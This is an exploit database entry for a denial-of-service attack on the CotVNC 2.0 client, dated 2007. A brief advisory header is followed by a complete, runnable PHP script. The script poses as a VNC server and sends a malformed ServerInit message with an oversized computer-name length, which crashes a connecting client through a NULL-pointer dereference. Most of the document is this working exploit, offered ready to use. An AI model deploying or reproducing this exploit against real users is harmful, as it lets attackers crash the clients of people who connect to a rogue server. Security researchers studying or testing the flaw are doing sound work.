Fake VNC Server Denial of Service

vendor:

CotVNC

by:

poplix

7.5

CVSS

HIGH

Denial of Service

CWE

Product Name: CotVNC

Affected Version From: CotVNC 2.0

Affected Version To: CotVNC 2.0

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2007

Fake VNC Server Denial of Service

This exploit is a fake VNC server that will crash CotVNC 2.0 due to a NULL-pointer dereference. The exploit sends a specific payload to the client, causing it to crash.

Mitigation:

There is no known mitigation or remediation for this vulnerability.

Source

Exploit-DB raw data:

<?
$port = "5900";

$BadServerInit=
"\x04\x00".                                     // fb-width
"\x03\x00".                                     // fb-hight
"\x20".                                         // bits per pixel
"\x18".                                         // depth
"\x00".                                         // big-endian flag
"\x01".                                         // true-color flag
"\x00\xff\x00\xff\x00\xff". 			// r-g-b max
"\x10\x08\x00".                         	// r-g-b shift
"\x00\x00\x00".                         	// padding
"\xff\xff\xff\xff".                     	// computer-name size
"DIE_PLZ";                                      // computer-name


$ser = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_set_option($ser,SOL_SOCKET,SO_REUSEADDR,1);
socket_bind($ser,"0.0.0.0", $port);

socket_listen($ser, 5);

print "this fake vnc server will crash cotv2.0 (http://sourceforge.net/projects/cotvnc/) due to a NULL-pointer dereference 02-02-2007   poplix [@] papuasia.org listening on $port ...\n";

$cotv = socket_accept($ser);
print "client connected\n";

socket_write($cotv, "RFB 00 3.008\n");
while($i=socket_read($cotv, 1024))
       if(substr($i,0,6) == "RFB 00") break;


print "protocol has been negotiated\n";

socket_write($cotv, "\x00\x00\x00\x01");
while($i=socket_read($cotv, 1024))
       if(ord($i[0])==0 || ord($i[0])==1)break;

print "sending expl...\n";

socket_write($cotv, $BadServerInit);


socket_close($cotv);

socket_close($ser);

print "done\n";
?>

# milw0rm.com [2007-02-02]